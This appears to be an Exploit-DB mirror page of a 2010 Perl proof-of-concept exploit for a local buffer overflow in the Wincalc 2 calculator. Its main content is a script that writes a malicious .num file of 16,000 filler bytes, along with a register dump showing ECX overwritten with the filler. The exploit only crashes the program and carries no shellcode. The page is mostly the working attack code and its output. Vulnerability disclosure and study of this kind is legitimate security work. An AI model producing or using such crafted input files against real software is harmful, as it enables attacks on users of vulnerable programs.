Wincalc 2 – ‘.num’ Local Buffer Overflow (PoC)

  • 作者: Madjix
    日期: 2010-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14034/
  • #!/usr/bin/perl
    ###################################################################
    #Exploit Title : Wincalc 2 (.num) local Buffer Overflow Poc
    #tested on windows xp SP 3 FR
    #Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
    #download: http://math.exeter.edu/rparris/peanut/wcru32z.exe
    #Special Greets:Bibi-info , His0k4 [ where are you :( ]
    ###################################################################
    #EAX 00000001
    #ECX 41414141
    #EDX 00000000
    #EBX 0046EE18
    #ESP 0012F868
    #EBP 0012F8AC
    #ESI 009A2DC0
    #EDI 0000003B
    #EIP 00417A74 wcalcru.00417A74
    #C 0 ES 0023 32bit 0(FFFFFFFF)
    #P 0 CS 001B 32bit 0(FFFFFFFF)
    #A 0 SS 0023 32bit 0(FFFFFFFF)
    #Z 0 DS 0023 32bit 0(FFFFFFFF)
    #S 0 FS 003B 32bit 7FFDD000(FFF)
    ###################################################################
    my $file = "MadjiX.NUM";
    my $junk1 = "\x41" x 2000 ;
    my $junk2 = "\x42" x 2000 ;
    my $junk3 = "\x43" x 2000 ;
    my $junk4 = "\x44" x 2000 ;
    my $junk5 = "\x45" x 2000 ;
    my $junk6 = "\x46" x 2000 ;
    my $junk7 = "\x47" x 2000 ;
    my $junk8 = "\x48" x 2000 ;
    open($FILE,">$file");
    print $FILE $junk1.$junk2.$junk3.$junk4.$junk5.$junk6.$junk7.$junk8;
    close($FILE);